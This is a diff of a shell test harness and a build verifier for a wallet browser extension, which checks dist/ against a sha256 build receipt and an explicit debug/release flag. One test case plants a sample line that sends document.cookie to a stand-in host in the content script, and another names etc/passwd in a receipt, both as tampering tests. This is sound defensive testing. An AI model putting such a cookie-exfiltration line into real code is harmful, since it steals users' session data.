printf 'var c=3;\n' >"$FIXTURE/dist/chrome/src/content/index.js"
printf '{"manifest_version":3}\n' >"$FIXTURE/dist/chrome/manifest.json"
printf 'body{color:#000}\n' >"$FIXTURE/dist/styles.css" printf 'body{color:#000}\n' >"$FIXTURE/dist/styles.css"
printf 'var c=3;\n' >"$FIXTURE/dist/chrome/src/content/content.js"
{ FIXTURE_REAL="$(cd "$FIXTURE" && pwd -P)"
echo "dist/chrome/src/popup/index.js" write_receipt
echo "dist/firefox/src/popup/index.js"
} >"$FIXTURE/dist/constants-bundles.txt"
# Readable and traversable by the unprivileged user the permission cases # Readable and traversable by the unprivileged user the permission cases
# run as, before those cases take that away again on purpose. # run as, before those cases take that away again on purpose.
@@ -185,7 +254,51 @@ runuser|runuser -u nobody --"
# --- case runner ------------------------------------------------------------ # --- case runner ------------------------------------------------------------
# check_case <name> <perm:yes|no> <mode:release|debug> <status> <text> <setup> # How verify-build is invoked for a case. The arguments are literal here rather
# than assembled from a string, so nothing about a case's invocation depends on
# word splitting. "envdebug" variants export AUTISTMASK_DEBUG=1 to prove the
# verifier ignores it — that is the whole of the ambient-environment defect.
run_verify() {
_rv_variant="$1"
_rv_perm="$2"
_rv_bin="$FIXTURE/script/verify-build"
case "$_rv_variant" in
release | release-envdebug)
set -- --expect release --receipt "$RECEIPT"
;;
debug)
set -- --expect debug --receipt "$RECEIPT"
;;
no-expect)
set -- --receipt "$RECEIPT"
;;
no-receipt)
set -- --expect release
;;
bad-expect)
set -- --expect maybe --receipt "$RECEIPT"
;;
unknown-arg)
set -- --expect release --receipt "$RECEIPT" --force
;;
receipt-in-dist)
set -- --expect release --receipt "$FIXTURE/dist/receipt.txt"
;;
*)
echo "test-verify-build: unknown variant $_rv_variant" >&2
exit 1
;;
esac
if [ "$_rv_perm" = yes ]; then
run_unpriv "$_rv_bin" "$@"
else
"$_rv_bin" "$@"
fi
}
# check_case <name> <perm:yes|no> <variant> <status> <text> <setup>
# #
# Rebuilds the fixture, applies <setup> inside it, runs verify-build, and # Rebuilds the fixture, applies <setup> inside it, runs verify-build, and
# requires both the exit status and the message. <perm> marks a case that only # requires both the exit status and the message. <perm> marks a case that only
@@ -193,7 +306,7 @@ runuser|runuser -u nobody --"
check_case() { check_case() {
_name="$1" _name="$1"
_perm="$2" _perm="$2"
_mode="$3" _variant="$3"
_want_status="$4" _want_status="$4"
_want_text="$5" _want_text="$5"
_setup="$6" _setup="$6"
@@ -213,23 +326,22 @@ check_case() {
return 0 return 0
fi fi
if [ "$_mode" = debug ]; then # Exported rather than set as a command prefix: run_verify may go through
_debug=1 # run_unpriv, which is a function, and an assignment prefixed to a function
else # call is not portable. Every other case unsets it, so the environment this
_debug="" # harness happens to run in cannot decide anything.
fi case "$_variant" in
*envdebug)
# Exported rather than set as a command prefix: run_unpriv is a function, AUTISTMASK_DEBUG=1
# and an assignment prefixed to a function call is not portable. export AUTISTMASK_DEBUG
AUTISTMASK_DEBUG="$_debug" ;;
export AUTISTMASK_DEBUG *)
unset AUTISTMASK_DEBUG || true
;;
esac
_status=0 _status=0
if [ "$_perm" = yes ]; then _out="$(run_verify "$_variant" "$_perm" 2>&1)" || _status=$?
_out="$(run_unpriv "$FIXTURE/script/verify-build" 2>&1)" || _status=$?
else
_out="$("$FIXTURE/script/verify-build" 2>&1)" || _status=$?
fi
_ok=yes _ok=yes
_why="" _why=""
@@ -272,7 +384,9 @@ check_case() {
# --- cases ------------------------------------------------------------------ # --- cases ------------------------------------------------------------------
# #
# Each runs with the fixture as its working directory. # Each runs with the fixture as its working directory. A case that regenerates
# the receipt is saying "this is what the build emitted"; one that does not is
# saying "the build emitted something else and this happened afterwards".
c_control() { :; } c_control() { :; }
@@ -299,38 +413,233 @@ c_dir_symlink() { ln -s src dist/chrome/link-to-dir; }
c_alias_symlink() { ln -s popup/index.js dist/chrome/src/aliased.js; } c_alias_symlink() { ln -s popup/index.js dist/chrome/src/aliased.js; }
c_manifest_missing() { rm dist/constants-bundles.txt; } c_receipt_missing() { rm "$RECEIPT"; }
c_manifest_empty() { : >dist/constants-bundles.txt; } c_receipt_empty() { : >"$RECEIPT"; }
c_manifest_unreadable() { chmod 000 dist/constants-bundles.txt; } c_receipt_unreadable() { chmod 000 "$RECEIPT"; }
c_bundle_missing() { rm dist/chrome/src/popup/index.js; } c_receipt_bad_header() {
write_receipt_custom "some other file entirely" "$FIXTURE_REAL"
}
c_bundle_empty() { : >dist/chrome/src/popup/index.js; } c_receipt_other_tree() {
write_receipt_custom "$RECEIPT_HEADER" "/some/other/checkout"
}
c_bundle_unreadable() { chmod 000 dist/chrome/src/popup/index.js; } c_receipt_path_with_space() {
write_receipt
printf 'file %s P dist/two words.js\n' \
"0000000000000000000000000000000000000000000000000000000000000000" \
>>"$RECEIPT"
}
c_unlisted_extension() { c_receipt_path_outside_dist() {
write_receipt
printf 'file %s P etc/passwd\n' \
"0000000000000000000000000000000000000000000000000000000000000000" \
>>"$RECEIPT"
}
c_receipt_in_dist() { cp "$RECEIPT" dist/receipt.txt; }
c_emitted_missing() { rm dist/chrome/src/popup/index.js; }
c_emitted_empty() { : >dist/chrome/src/popup/index.js; }
c_emitted_unreadable() { chmod 000 dist/chrome/src/popup/index.js; }
c_extra_file_with_marker() {
cp dist/chrome/src/popup/index.js dist/chrome/src/popup/extra.mjs cp dist/chrome/src/popup/index.js dist/chrome/src/popup/extra.mjs
} }
c_no_marker() { printf 'var d=4;\n' >dist/chrome/src/popup/index.js; } c_extra_file_no_marker() {
printf 'var e=5;\n' >dist/chrome/src/popup/vendor.js
}
# The four demonstrated bypasses of the pre-receipt verifier.
# A 26-byte file whose entire content is the marker string used to verify ok.
c_marker_only_stub() {
printf '%s' "$MARKER_OFF" >dist/chrome/src/popup/index.js
}
# The content script runs on every page the browser loads and was never read.
c_tampered_content_script() {
printf 'fetch("https://example.invalid/"+document.cookie);\n' \
>>dist/chrome/src/content/index.js
}
# The manifest decides permissions and CSP and was never read either.
c_tampered_manifest() {
printf '{"manifest_version":3,"host_permissions":["<all_urls>"]}\n' \
>dist/chrome/manifest.json
}
# A dist/ that has nothing to do with this build, carrying the right file
# names and the right marker, offered against this build's receipt.
c_foreign_dist() {
rm -rf dist
mkdir -p dist/chrome/src/popup dist/chrome/src/content dist/firefox/src/popup
write_bundle dist/chrome/src/popup/index.js "$MARKER_OFF"
write_bundle dist/firefox/src/popup/index.js "$MARKER_OFF"
printf 'var hostile=1;\n' >dist/chrome/src/content/index.js
printf '{"manifest_version":3}\n' >dist/chrome/manifest.json
printf 'body{color:#fff}\n' >dist/styles.css
}
# Cases that state what the build itself emitted, and so regenerate the
# receipt over the changed bytes.
c_no_marker() {
printf 'var d=4;\n' >dist/chrome/src/popup/index.js
write_receipt
}
c_both_markers() { c_both_markers() {
printf '/* %s */\n' "$MARKER_ON" >>dist/chrome/src/popup/index.js printf '/* %s */\n' "$MARKER_ON" >>dist/chrome/src/popup/index.js
write_receipt
}
c_marker_on_plain_file() {
printf 'var c=3;/* %s */\n' "$MARKER_OFF" \
>dist/chrome/src/content/index.js
write_receipt
}
c_debug_build() {
write_bundle dist/chrome/src/popup/index.js "$MARKER_ON"
write_bundle dist/firefox/src/popup/index.js "$MARKER_ON"
write_receipt
}
# --- Makefile wiring --------------------------------------------------------
# The verifier cases above prove what verify-build does when it is told what to
# expect. This proves the Makefile tells it — with the mode as an argument, on
# a scrubbed environment, and identically whether or not AUTISTMASK_DEBUG is
# exported in the shell that ran make. Read off `make -n`, so no build runs.
check_makefile_wiring() {
if ! command -v make >/dev/null 2>&1; then
SKIPPED=$((SKIPPED + 1))
SKIPPED_NAMES="$SKIPPED_NAMES## - Makefile wiring (make not found)$NEWLINE"
echo " SKIP (make not found): Makefile wiring"
return 0
fi
# make build must ask for release, and must scrub the flag from the
# verifier's environment, even when the caller has it exported.
_wiring_case "make build passes --expect release" \
build "verify-build --expect release"
_wiring_case "make build scrubs AUTISTMASK_DEBUG for the verifier" \
build "env -u AUTISTMASK_DEBUG"
_wiring_case "make build-debug passes --expect debug" \
build-debug "verify-build --expect debug"
_wiring_case "make build-debug scrubs AUTISTMASK_DEBUG for the verifier" \
build-debug "env -u AUTISTMASK_DEBUG"
}
_wiring_case() {
_wc_name="$1"
_wc_target="$2"
_wc_want="$3"
AUTISTMASK_DEBUG=1
export AUTISTMASK_DEBUG
_wc_status=0
_wc_out="$(cd "$ROOT" && make -n "$_wc_target" 2>&1)" || _wc_status=$?
unset AUTISTMASK_DEBUG
if [ "$_wc_status" -ne 0 ]; then
FAILED=$((FAILED + 1))
echo " FAIL: $_wc_name"
echo " make -n $_wc_target exited $_wc_status"
return 0
fi
_wc_g=0
printf '%s\n' "$_wc_out" | grep -q -F -e "$_wc_want" || _wc_g=$?
case "$_wc_g" in
0)
PASSED=$((PASSED + 1))
echo " ok: $_wc_name"
;;
1)
FAILED=$((FAILED + 1))
echo " FAIL: $_wc_name"
echo " make -n $_wc_target does not run: $_wc_want"
;;
*)
FAILED=$((FAILED + 1))
echo " FAIL: $_wc_name"
echo " grep exited $_wc_g, so the recipe was never checked"
;;
esac
} }
run_cases() { run_cases() {
check_case "control: untouched dist passes" \ check_case "control: untouched dist passes" \
no release 0 "2 bundle(s) verified $MARKER_OFF" c_control no release 0 "2 bundle(s) $MARKER_OFF" c_control
check_case "unlisted marker-carrying file, trailing space in name" \ check_case "AUTISTMASK_DEBUG=1 in the environment does not decide the mode" \
no release 1 "carries a debug marker but is absent from" \ no release-envdebug 0 "2 bundle(s) $MARKER_OFF" c_control
check_case "debug bundles under --expect release fail (make build with
AUTISTMASK_DEBUG=1 exported)" \
no release-envdebug 1 \
"is $MARKER_ON but this build was told to expect" c_debug_build
check_case "debug bundles under --expect debug pass" \
no debug 0 "2 bundle(s) $MARKER_ON" c_debug_build
check_case "no --expect argument" \
no no-expect 1 "no --expect argument." c_control
check_case "no --receipt argument" \
no no-receipt 1 "no --receipt argument." c_control
check_case "--expect takes release or debug" \
no bad-expect 1 "--expect takes release or debug" c_control
check_case "unknown argument" \
no unknown-arg 1 "unknown argument: --force" c_control
check_case "receipt inside the tree it describes" \
no receipt-in-dist 1 "the receipt is inside dist/" c_receipt_in_dist
check_case "bundle replaced by a file containing only the marker" \
no release 1 "does not contain the bytes this build emitted" \
c_marker_only_stub
check_case "content script tampered with after the build" \
no release 1 \
"dist/chrome/src/content/index.js does not contain the bytes" \
c_tampered_content_script
check_case "manifest.json tampered with after the build" \
no release 1 "dist/chrome/manifest.json does not contain the bytes" \
c_tampered_manifest
check_case "hand-written dist/ offered against this build's receipt" \
no release 1 "does not contain the bytes this build emitted" \
c_foreign_dist
check_case "extra file under dist/ carrying a marker" \
no release 1 \
"dist/chrome/src/popup/extra.mjs is under dist/ but the build" \
c_extra_file_with_marker
check_case "extra file under dist/ carrying no marker" \
no release 1 \
"dist/chrome/src/popup/vendor.js is under dist/ but the build" \
c_extra_file_no_marker
check_case "extra file, trailing space in name" \
no release 1 "is under dist/ but the build that just ran did not emit" \
c_trailing_space c_trailing_space
check_case "unlisted marker-carrying file, newline in name" \ check_case "extra file, newline in name" \
no release 1 "carries a debug marker but is absent from" \ no release 1 "is under dist/ but the build that just ran did not emit" \
c_embedded_newline c_embedded_newline
check_case "dist/ replaced by a symlink" \ check_case "dist/ replaced by a symlink" \
@@ -342,64 +651,88 @@ run_cases() {
check_case "dangling symlink under dist/" \ check_case "dangling symlink under dist/" \
no release 1 \ no release 1 \
"reading dist/chrome/dangling.js, so the file could not be" \ "dist/chrome/dangling.js is a symlink under dist/" c_dangling_symlink
c_dangling_symlink
check_case "symlink to a directory under dist/" \ check_case "symlink to a directory under dist/" \
no release 1 \ no release 1 \
"reading dist/chrome/link-to-dir, so the file could not be" \ "dist/chrome/link-to-dir is a symlink under dist/" c_dir_symlink
c_dir_symlink
check_case "symlink to a listed bundle under an unlisted path" \ check_case "symlink aliasing an emitted bundle under another path" \
no release 1 \ no release 1 \
"dist/chrome/src/aliased.js carries a debug marker but is absent" \ "dist/chrome/src/aliased.js is a symlink under dist/" c_alias_symlink
c_alias_symlink
check_case "manifest missing" \ check_case "receipt missing" \
no release 1 "dist/constants-bundles.txt is missing." \ no release 1 "is missing. build.js writes it" c_receipt_missing
c_manifest_missing
check_case "manifest empty" \ check_case "receipt empty" \
no release 1 "is empty, so no emitted bundle was found to contain" \ no release 1 "is empty, so the build wrote nothing to it" \
c_manifest_empty c_receipt_empty
check_case "manifest unreadable" \ check_case "receipt unreadable" \
yes release 1 "is not readable, so nothing was inspected." \ yes release 1 "is not readable, so nothing was inspected." \
c_manifest_unreadable c_receipt_unreadable
check_case "listed bundle missing" \ check_case "receipt is not a build receipt" \
no release 1 "does not start with" c_receipt_bad_header
check_case "receipt from a different checkout" \
no release 1 "was written by a build of a different tree" \
c_receipt_other_tree
check_case "receipt names a path containing a space" \
no release 1 "cannot be read back unambiguously" \
c_receipt_path_with_space
check_case "receipt names a path outside dist/" \
no release 1 "names a path that is not under dist/" \
c_receipt_path_outside_dist
check_case "emitted file missing" \
no release 1 \ no release 1 \
"lists dist/chrome/src/popup/index.js, which does not exist." \ "names dist/chrome/src/popup/index.js, which does not exist." \
c_bundle_missing c_emitted_missing
check_case "listed bundle empty" \ check_case "emitted file empty" \
no release 1 "which is empty. An empty bundle" c_bundle_empty no release 1 "which is empty. An empty file" c_emitted_empty
check_case "listed bundle unreadable" \ check_case "emitted file unreadable" \
yes release 1 \ yes release 1 \
"reading dist/chrome/src/popup/index.js, so the file could not be" \ "on dist/chrome/src/popup/index.js, so its bytes were never read" \
c_bundle_unreadable c_emitted_unreadable
check_case "unlisted extension carrying a marker" \ check_case "emitted bundle carries no marker" \
no release 1 \
"dist/chrome/src/popup/extra.mjs carries a debug marker but is" \
c_unlisted_extension
check_case "listed bundle carries no marker" \
no release 1 "carries no debug marker, so its DEBUG state cannot be" \ no release 1 "carries no debug marker, so its DEBUG state cannot be" \
c_no_marker c_no_marker
check_case "listed bundle carries both markers" \ check_case "emitted bundle carries both markers" \
no release 1 "carries both debug markers, so DEBUG was not resolved" \ no release 1 "carries both debug markers, so DEBUG was not resolved" \
c_both_markers c_both_markers
check_case "wrong marker for the requested mode" \ check_case "marker on a file the build did not record as a bundle" \
no debug 1 "is $MARKER_OFF but this build expects $MARKER_ON" \ no release 1 "carries a debug marker but the build did not" \
c_control c_marker_on_plain_file
check_makefile_wiring
} }
# --- main -------------------------------------------------------------------- # --- main --------------------------------------------------------------------
# The harness cannot build a receipt without a digest, so a missing sha256
# command is a failure here rather than a silent reduction in coverage.
pick_sha256_tool() {
if command -v sha256sum >/dev/null 2>&1; then
SHA256_CMD="sha256sum"
elif command -v shasum >/dev/null 2>&1; then
SHA256_CMD="shasum -a 256"
elif command -v openssl >/dev/null 2>&1; then
SHA256_CMD="openssl dgst -sha256 -r"
else
echo "test-verify-build: no sha256 command found (tried sha256sum," \
"shasum, openssl), so no fixture receipt can be written" >&2
exit 1
fi
}
main() { main() {
cd "$ROOT" cd "$ROOT"
@@ -409,6 +742,7 @@ main() {
} }
echo "Testing script/verify-build failure modes..." echo "Testing script/verify-build failure modes..."
pick_sha256_tool
probe_permission_runner probe_permission_runner
if [ "$PERM_ENABLED" = yes ]; then if [ "$PERM_ENABLED" = yes ]; then
echo " permission cases: enabled (runner: $PERM_HOW, proved against" \ echo " permission cases: enabled (runner: $PERM_HOW, proved against" \
@@ -426,11 +760,11 @@ main() {
if [ "$SKIPPED" -ne 0 ]; then if [ "$SKIPPED" -ne 0 ]; then
cat <<EOF cat <<EOF
################################################################################ ################################################################################
## WARNING: $SKIPPED PERMISSION CASE(S) DID NOT RUN, AND THIS RUN DOES NOT ## WARNING: $SKIPPED CASE(S) DID NOT RUN, AND THIS RUN DOES NOT PROVE THEM.
## PROVE THEM. This process is uid $(id -u), and no runner subject to file ## This process is uid $(id -u), and no runner subject to file permissions was
## permissions was available. Tried: $PERM_HOW. ## available. Tried: $PERM_HOW.
## Under root, chmod 000 stops neither find nor grep, so these cases would ## Under root, chmod 000 stops neither find nor grep, so the permission cases
## have passed without testing anything. They were skipped, not counted: ## would have passed without testing anything. They were skipped, not counted:
$SKIPPED_NAMES################################################################################ $SKIPPED_NAMES################################################################################
EOF EOF
echo "test-verify-build: $PASSED case(s) passed," \ echo "test-verify-build: $PASSED case(s) passed," \

View File

@@ -1,45 +1,91 @@
#!/bin/sh #!/bin/sh
# script/verify-build: assert the compiled DEBUG state of the emitted # script/verify-build: assert that dist/ holds exactly what the build that just
# bundles. Our own extension to scripts-to-rule-them-all, run at the end of # ran emitted, and that the compiled DEBUG state of that output is the one the
# make build / make build-debug. # caller asked for. Our own extension to scripts-to-rule-them-all, run at the
# end of make build / make build-debug.
# #
# Why this exists: DEBUG makes the publicly committed test recovery phrase the # Why the DEBUG half exists: DEBUG makes the publicly committed test recovery
# output of wallet creation, so a release artifact built with it live hands # phrase the output of wallet creation, so a release artifact built with it live
# every new wallet to anyone who reads the repo. The test suite cannot see # hands every new wallet to anyone who reads the repo. The test suite cannot see
# this, because it loads src/shared/constants.js outside a bundle and takes # this, because it loads src/shared/constants.js outside a bundle and takes the
# the fallback branch; the property only exists in the emitted output, so it # fallback branch; the property only exists in the emitted output, so it has to
# has to be asserted against the emitted output. # be asserted against the emitted output.
# #
# What it reads: dist/constants-bundles.txt, written by build.js from # Which mode to expect is an ARGUMENT (--expect release|debug) and is never
# esbuild's metafile, naming every emitted bundle that contains # taken from this script's environment. It used to be read from
# src/shared/constants.js. Each of those must carry exactly one of the two # AUTISTMASK_DEBUG here, which meant an operator with AUTISTMASK_DEBUG=1
# BUILD_DEBUG_MARKER literals that constants.js folds down to. # exported in their shell could run the release target, get a debug build, and
# have it verified green and exit 0. There is also no default: a caller that
# does not say what it built gets a failure, because "no opinion" is not a
# state this can check anything against.
# #
# It fails rather than passes whenever it cannot determine a bundle's state. # Why the provenance half exists: on its own, a marker grep proves nothing
# Minified output is not a stable contract, so "matched neither form" is not # about where the bytes came from. A 26-byte file containing only the marker
# evidence of anything and must never read as green. # string used to verify ok; the content script and manifest.json were not read
# at all; an entire hand-written dist/ passed. The list of files to check has
# therefore moved OUT of dist/: build.js writes a receipt naming every file it
# emitted, with each file's sha256 and whether it is one of the bundles
# containing src/shared/constants.js, and the Makefile creates that receipt
# path fresh per invocation, outside the repo, and deletes it afterwards.
#
# What that does and does not establish. It establishes that dist/ is byte for
# byte the output of the build.js run that just finished, with nothing added,
# nothing missing and nothing altered in between, and that the audited bundles
# in it compiled to the requested mode. It does NOT establish that the source
# tree or build.js were honest, and it says nothing at all to someone handed a
# dist/ from elsewhere: without the receipt from its own build they have no
# input to this check. That is signing, and it is not this control.
#
# It fails rather than passes whenever it cannot determine something. Minified
# output is not a stable contract, so "matched neither marker" is not evidence
# of anything and must never read as green; the same discipline applies to
# every read here, which is why a grep or a digest that could not be taken is
# a hard failure and not an absence of a problem.
set -eu set -eu
ROOT="$(cd "$(dirname "$0")/.." && pwd -P)" ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
# Absolute path to this script, resolved before anything cd's anywhere. # Absolute path to this script, resolved before anything cd's anywhere.
# check_unlisted_bundles re-invokes it through xargs, and $0 on its own may be # check_dist_tree re-invokes it through xargs, and $0 on its own may be
# relative to a directory we are about to leave. # relative to a directory we are about to leave.
SELF="$(cd "$(dirname "$0")" && pwd -P)/$(basename "$0")" SELF="$(cd "$(dirname "$0")" && pwd -P)/$(basename "$0")"
# Internal re-entry flag; see scan_dist_paths. # Internal re-entry flag; see scan_dist_paths.
SCAN_FLAG="--scan-dist-paths" SCAN_FLAG="--scan-dist-paths"
# A literal newline, for the is_listed guard. # A literal newline and tab, for the receipt-shape guards.
NEWLINE=' NEWLINE='
' '
TAB=' '
MANIFEST="dist/constants-bundles.txt"
MARKER_ON="autistmask-build-debug=on" MARKER_ON="autistmask-build-debug=on"
MARKER_OFF="autistmask-build-debug=off" MARKER_OFF="autistmask-build-debug=off"
# Set by read_marker. RECEIPT_HEADER="autistmask-build-receipt v1"
# Set by the arguments.
RECEIPT=""
EXPECT=""
# Set by read_marker, read_sha256 and parse_file_line respectively, plus the
# receipt line number the diagnostics quote.
MARKER="" MARKER=""
SHA=""
ENTRY_HASH=""
ENTRY_FLAG=""
ENTRY_PATH=""
LINENO_R=0
# The sha256 command, chosen by pick_sha256.
SHA256=""
# Totals: the shape pass counts what the receipt claims, the entries pass
# counts what was actually checked against dist/, and the summary reports the
# latter.
SHAPE_COUNT=0
SHAPE_AUDITED=0
COUNT=0
AUDITED=0
# Temporary file holding the NUL-delimited dist/ listing, removed by the EXIT # Temporary file holding the NUL-delimited dist/ listing, removed by the EXIT
# trap because fail() exits from wherever it is called. # trap because fail() exits from wherever it is called.
@@ -50,11 +96,17 @@ fail() {
exit 1 exit 1
} }
usage() {
echo "usage: verify-build --expect release|debug --receipt PATH" >&2
}
cleanup() { cleanup() {
[ -z "$LISTING" ] || rm -f "$LISTING" [ -z "$LISTING" ] || rm -f "$LISTING"
} }
trap cleanup EXIT trap cleanup EXIT
# --- reading files ----------------------------------------------------------
# Is the literal $1 present in the file $2? Match (grep exit 0) and no-match # Is the literal $1 present in the file $2? Match (grep exit 0) and no-match
# (exit 1) are answers about the emitted output. Anything else (exit 2: the # (exit 1) are answers about the emitted output. Anything else (exit 2: the
# file could not be read) is not an answer at all, and must not be reported as # file could not be read) is not an answer at all, and must not be reported as
@@ -74,34 +126,46 @@ has_marker() {
esac esac
} }
# Does the manifest list the path $1, as a whole line? Same discipline as # Pick the sha256 command once. All three print the digest as the first
# has_marker: exit 0 and 1 are answers about the manifest, exit 2 means the # whitespace-delimited field. If none is present the digests cannot be taken at
# manifest could not be read and is not an answer at all. Without this, an # all, and this script has nothing left to check with, so it fails rather than
# unreadable manifest reads as "this file is not listed" and every emitted # degrading to the marker grep it used to be.
# bundle gets reported as an unlisted one. pick_sha256() {
# if command -v sha256sum >/dev/null 2>&1; then
# A path containing a newline is answered without asking grep, because grep SHA256="sha256sum"
# would read the pattern as two patterns and report a match on either. That is elif command -v shasum >/dev/null 2>&1; then
# how such a path escaped this check even once the walk stopped splitting it: SHA256="shasum -a 256"
# the half before the newline matched a listed line and the file was skipped. elif command -v openssl >/dev/null 2>&1; then
# The manifest is line-delimited, so it cannot name such a path at all, and SHA256="openssl dgst -sha256 -r"
# "not listed" is the only true answer. else
is_listed() { fail "no sha256 command found (tried sha256sum, shasum, openssl), so
case "$1" in the emitted files cannot be checked against the build receipt at all.
*"$NEWLINE"*) return 1 ;; Refusing to report success."
esac fi
_il_status=0 }
grep -q -x -F -e "$1" -- "$MANIFEST" || _il_status=$?
case "$_il_status" in # Digest of $1 into SHA. A digest that could not be taken is not a mismatch and
0) return 0 ;; # not a pass: it means the artifact was never read.
1) return 1 ;; read_sha256() {
*) _rs_status=0
fail "grep exited $_il_status reading $MANIFEST, so it could not be # Word-split on purpose: SHA256 is a command with its arguments.
searched and nothing was established about which bundles it lists. That is # shellcheck disable=SC2086
a permissions or I/O fault on the manifest, not a stale manifest. Refusing _rs_out="$($SHA256 "$1" 2>/dev/null)" || _rs_status=$?
to report success." [ "$_rs_status" -eq 0 ] ||
fail "$SHA256 exited $_rs_status on $1, so its bytes were never read
and nothing was established about them. That is a permissions or I/O fault
on the artifact, not a mismatch. Refusing to report success."
SHA="${_rs_out%% *}"
case "$SHA" in
"" | *[!0-9a-f]*)
fail "$SHA256 produced no usable digest for $1, so its bytes were never
checked. Refusing to report success."
;; ;;
esac esac
[ "${#SHA}" -eq 64 ] ||
fail "$SHA256 produced a ${#SHA}-character digest for $1, which is not
a sha256. Refusing to report success."
} }
# Read one bundle's DEBUG state into MARKER. Exactly one marker must be # Read one bundle's DEBUG state into MARKER. Exactly one marker must be
@@ -140,40 +204,189 @@ read_marker() {
fi fi
} }
# The manifest says which bundles must carry a marker. This says no other # --- the receipt ------------------------------------------------------------
# emitted file may carry one, which catches a manifest that has gone stale
# or short rather than trusting whatever it happens to list. # Split one "file <sha256> <A|P> <path>" line into ENTRY_HASH, ENTRY_FLAG and
# ENTRY_PATH, and require the shape rather than assuming it. The path is the
# remainder of the line, so a path carrying a space or a tab would be read back
# as something other than what was written; build.js refuses to emit such a
# name, and a receipt that contains one is malformed rather than describing a
# file. Every rejection here is a failure: a line that cannot be understood is
# a file that would otherwise go unchecked.
parse_file_line() {
case "$1" in
"file "*) ;;
*)
fail "$RECEIPT line $LINENO_R is not a file entry and this script does
not know what it means: ${1}. Refusing to report success."
;;
esac
_pl="${1#file }"
ENTRY_HASH="${_pl%% *}"
_pl="${_pl#* }"
ENTRY_FLAG="${_pl%% *}"
ENTRY_PATH="${_pl#* }"
case "$ENTRY_HASH" in
"" | *[!0-9a-f]*) fail "$RECEIPT line $LINENO_R has no sha256: $1" ;;
esac
[ "${#ENTRY_HASH}" -eq 64 ] ||
fail "$RECEIPT line $LINENO_R has a ${#ENTRY_HASH}-character digest,
which is not a sha256: $1"
case "$ENTRY_FLAG" in
A | P) ;;
*) fail "$RECEIPT line $LINENO_R has no A/P audit flag: $1" ;;
esac
case "$ENTRY_PATH" in
dist/*) ;;
*)
fail "$RECEIPT line $LINENO_R names a path that is not under dist/:
$ENTRY_PATH. The receipt describes the emitted tree and nothing else."
;;
esac
case "$ENTRY_PATH" in
*" "* | *"$TAB"* | *"$NEWLINE"*)
fail "$RECEIPT line $LINENO_R names a path containing whitespace, which
cannot be read back unambiguously from a line-oriented receipt: $1"
;;
esac
}
# Check one emitted file against its receipt entry: it must be a regular file
# with exactly the recorded bytes, and its debug marker must match what the
# caller said this build was.
check_entry() {
[ ! -h "$ENTRY_PATH" ] ||
fail "the receipt names $ENTRY_PATH but that path is a symlink. The
build emits regular files only, so this is not the file it wrote. Refusing
to report success."
[ -f "$ENTRY_PATH" ] ||
fail "the receipt names $ENTRY_PATH, which does not exist. dist/ does
not hold what the build emitted."
[ -s "$ENTRY_PATH" ] ||
fail "the receipt names $ENTRY_PATH, which is empty. An empty file
carries no marker and matches no digest, so this is a failure and not a
pass."
read_sha256 "$ENTRY_PATH"
[ "$SHA" = "$ENTRY_HASH" ] ||
fail "$ENTRY_PATH does not contain the bytes this build emitted: the
receipt records $ENTRY_HASH and the file on disk is $SHA. Something wrote
to dist/ after the build, so this artifact is not the one that was built."
if [ "$ENTRY_FLAG" = A ]; then
read_marker "$ENTRY_PATH"
[ "$MARKER" = "$EXPECT" ] ||
fail "$ENTRY_PATH is $MARKER but this build was told to expect
$EXPECT. If AUTISTMASK_DEBUG=1 is exported in the shell that ran make
build, that is why: the flag still reaches the compiler, and this is the
check that stops the debug artifact being taken for a release one."
echo " ok: $ENTRY_PATH ($MARKER)"
AUDITED=$((AUDITED + 1))
else
if has_marker "$MARKER_ON" "$ENTRY_PATH" ||
has_marker "$MARKER_OFF" "$ENTRY_PATH"; then
fail "$ENTRY_PATH carries a debug marker but the build did not
record it as containing src/shared/constants.js. build.js selects audited
bundles with an endsWith(\".js\") test; a marker-carrying file outside that
set means the test no longer describes what is emitted, and the DEBUG state
of this file was never asserted against anything."
fi
fi
COUNT=$((COUNT + 1))
}
# Walk the receipt line by line, applying $1 to each file entry. The header and
# the root line are checked on the way past; the root line is what stops a
# receipt written by a build of some other tree being pointed at this one.
walk_receipt() {
_wr_each="$1"
LINENO_R=0
_line=""
while IFS= read -r _line || [ -n "$_line" ]; do
LINENO_R=$((LINENO_R + 1))
if [ "$LINENO_R" -eq 1 ]; then
[ "$_line" = "$RECEIPT_HEADER" ] ||
fail "$RECEIPT does not start with \"$RECEIPT_HEADER\", so it
is not a build receipt this script understands. Refusing to report
success."
continue
fi
if [ "$LINENO_R" -eq 2 ]; then
[ "$_line" = "root $ROOT" ] ||
fail "$RECEIPT was written by a build of a different tree: it
says \"$_line\" and this is $ROOT. A receipt only describes the dist/ of
the tree it was built in."
continue
fi
parse_file_line "$_line"
"$_wr_each"
done <"$RECEIPT"
[ "$LINENO_R" -ge 2 ] ||
fail "$RECEIPT is truncated: it has no root line, so it is not a
receipt this script can check anything against."
}
# Pass one: the receipt has to be a receipt before anything is concluded from
# it. A line this script cannot read is a file that would go unchecked, and a
# receipt naming no audited bundle asserts no DEBUG state at all — both are
# failures, and both have to be established before the tree is walked against
# it, because a receipt entry that was misread would otherwise surface as a
# complaint about dist/.
count_entry() {
SHAPE_COUNT=$((SHAPE_COUNT + 1))
if [ "$ENTRY_FLAG" = A ]; then
SHAPE_AUDITED=$((SHAPE_AUDITED + 1))
fi
}
check_receipt_shape() {
SHAPE_COUNT=0
SHAPE_AUDITED=0
walk_receipt count_entry
[ "$SHAPE_COUNT" -gt 0 ] ||
fail "$RECEIPT names no emitted files, so nothing was inspected. A
build always emits some."
[ "$SHAPE_AUDITED" -gt 0 ] ||
fail "$RECEIPT names no bundle containing src/shared/constants.js, so
no DEBUG state would be asserted at all. That is never correct, so it is a
failure and not a pass."
}
# Pass three: every file the receipt names, checked against the bytes on disk.
check_receipt_entries() {
walk_receipt check_entry
}
# --- the emitted tree -------------------------------------------------------
# The receipt says which files the build emitted. This says dist/ contains no
# others: an artifact that was added after the build, or that a hand-written
# dist/ brought with it, is not something the build vouches for and is not
# something this check may pass over.
# #
# Deliberately unfiltered by extension. build.js selects manifest entries with # The walk has to be exhaustive and every name has to survive it intact, so
# an endsWith(".js") test; repeating that literal here would mean a bundle # four things are enforced rather than assumed:
# emitted under some other extension escaped the manifest AND this check at
# once, which is the correlated blind spot the two-source design exists to
# avoid. Every regular file and every symlink under dist/ is searched — that
# is the whole of what a build emits — so build.js's filter is the only place
# the assumption lives and this check is what catches it being wrong.
#
# That claim only holds if the walk is exhaustive and every name survives it
# intact, so four things are enforced here rather than assumed:
# #
